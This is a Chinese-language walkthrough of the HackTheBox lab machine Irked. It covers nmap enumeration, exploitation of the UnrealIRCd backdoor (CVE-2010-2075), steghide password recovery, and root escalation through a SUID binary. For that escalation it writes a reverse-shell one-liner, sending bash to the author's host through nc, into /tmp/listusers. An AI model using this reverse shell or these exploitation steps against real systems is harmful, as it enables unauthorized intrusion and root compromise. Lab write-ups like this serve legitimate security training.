概述 (Overview)
- MACHINE TAGS
- Cryptography
- Web
攻击链 (Kiillchain)
TTPs (Tactics, Techniques & Procedures)
- nmap
- steghide
- pyftpdlib
- SUID
阶段1:枚举
开局还是常规 nmap 进行端口和服务的识别:
# Nmap 7.91 scan initiated Thu May 6 08:54:23 2021 as: nmap -p- -oA nmap/AllPort -T4 -v --min-rate 1000 10.10.10.117
Nmap scan report for 10.10.10.117
Host is up (0.22s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
6697/tcp open ircs-u
8067/tcp open infi-async
56026/tcp open unknown
65534/tcp open unknown
Read data files from: /usr/bin/../share/nmap
# Nmap done at Thu May 6 08:55:31 2021 -- 1 IP address (1 host up) scanned in 68.15 seconds
# cat nmap/AllPort.nmap | grep open | cut -f 1 -d '/' | tr '\n' ',' | sed s/,$//
22,80,111,6697,8067,56026,65534
# Nmap 7.91 scan initiated Thu May 6 09:05:13 2021 as: nmap -p22,80,111,6697,8067,56026,65534 -sC -sV -oA nmap/Port -T4 -v --min-rate 1000 10.10.10.117
Nmap scan report for 10.10.10.117
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 33989/udp6 status
| 100024 1 43440/udp status
| 100024 1 47756/tcp6 status
|_ 100024 1 56026/tcp status
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
56026/tcp open status 1 (RPC #100024)
65534/tcp open irc UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 6 09:05:35 2021 -- 1 IP address (1 host up) scanned in 21.93 seconds
从扫描信息上我们获悉 Host: irked.htb
,存在 ssh 服务、 http 服务和 irc 服务。
浏览器查看下,就一张图片:
阶段2:工具和利用
阶段2.1:发现存在密码的隐写文件
下载后使用 stegsolve.jar
、steghide
分析一下看看是否存在隐写,发现需要获得密码才能解数据:
尝试其他的信息获取:
$ whatweb -v http://10.10.10.117
WhatWeb report for http://10.10.10.117
Status : 200 OK
Title : <None>
IP : 10.10.10.117
Country : RESERVED, ZZ
Summary : Apache[2.4.10], HTTPServer[Debian Linux][Apache/2.4.10 (Debian)]
Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.
Version : 2.4.10 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
OS : Debian Linux
String : Apache/2.4.10 (Debian) (from server string)
HTTP Headers:
HTTP/1.1 200 OK
Date: Thu, 06 May 2021 12:54:51 GMT
Server: Apache/2.4.10 (Debian)
Last-Modified: Mon, 14 May 2018 18:00:02 GMT
ETag: "48-56c2e413aa86b-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 83
Connection: close
Content-Type: text/html
通过 whatweb 没有获取到更多有用的信息,尝试 exploit-db 搜索。
阶段2.2:利用 CVE-2010-2075
关键字:unrealircd exploit github
获悉到一个漏洞编号 CVE-2010-2075。
从2009年11月到2010年6月在某些镜像站点上分发的UnrealIRCd 3.2.8.1在DEBUG3_DOLOG_SYSTEM宏中包含一个外部引入的修改(特洛伊木马),允许远程攻击者执行任意命令。
根据CVE编号找漏洞脚本: https://raw.githubusercontent.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/master/exploit.py
OK,成功获取到 ircd
身份的shell,查看目标服务器存在哪些用户目录:
$ ls /home
djmardov
ircd
通过 whereis 查询到目标机器存在 ftp 命令,所以我这优先使用 pyftpdlib
进行文件传输。
kali@kali ~$ python3 -m pyftpdlib -p 21 -w
ircd@irked:~$ ftp 10.10.16.9
USER anonymous
PASS anonymous
PUT linpeas.txt
阶段2.3:djmardov用户登录
在运行 linpeas
的同时,查询下 djmardov
用户存在哪些文件和目录:
找到了 user flag,同时发现 .backup
文件获得一组密码。
$ cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
用这组密码进行 su
切换用户失败,ssh
碰撞也失败,解隐写图片成功了:
在 pass.txt
中得到新的密码:Kab6h+m+bbp2J:HG
,通过新密码成功登录 djmardov
用户。
阶段3:权限提升
通过 linpeas 辅助分析,发现存在一个可以的本地服务 631 端口:
尝试将端口进行映射,查看它运行的服务(这里我用的ssh映射,将本地的631转到对外1337端口):
# sshpass -p 'Kab6h+m+bbp2J:HG' ssh djmardov@10.10.10.117 -L 1337:127.0.0.1:631
额,没见过这个服务,暂时不明。接着看 linpeas,发现存在一个不明的 SUID
权限的命令 /usr/bin/viewuser
尝试执行下:
结果显示类似执行了查询用户在线的命令,留意到最后显示: sh: 1: /tmp/listusers: not found
,这种信息一般是通过 sh
去运行某个文件但文件不存在才出现的提示。
尝试利用,写入一个反弹shell,然后执行:
$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.9 9900 >/tmp/f" > /tmp/listusers
$ viewuser
额,成功获得root身份的shell。前面的 bash
利用写错了,正常应该是 bash -c '<里面的才是bash -i>'
,可能是打的太晚了当时脑子有点糊涂…
而 viewuser
的二进制分析可看这个:https://fuzzmymind.com/2019/05/29/suid-binary-exploit-a-primer/
关于IRC
因特网中继聊天(Internet Relay Chat),一般称为互联网中继聊天,简称:IRC
很早就知道这个东西了,我最后一次用还在零几年的时候(上古时代了)。
可以使用该工具进行登录:hexchat https://hexchat.github.io/screenshots.html
,kali里面已经默认安装了。
参考
- https://www.jianshu.com/p/c3679f805a0c
- https://fieldraccoon.github.io/posts/Linuxprivesc/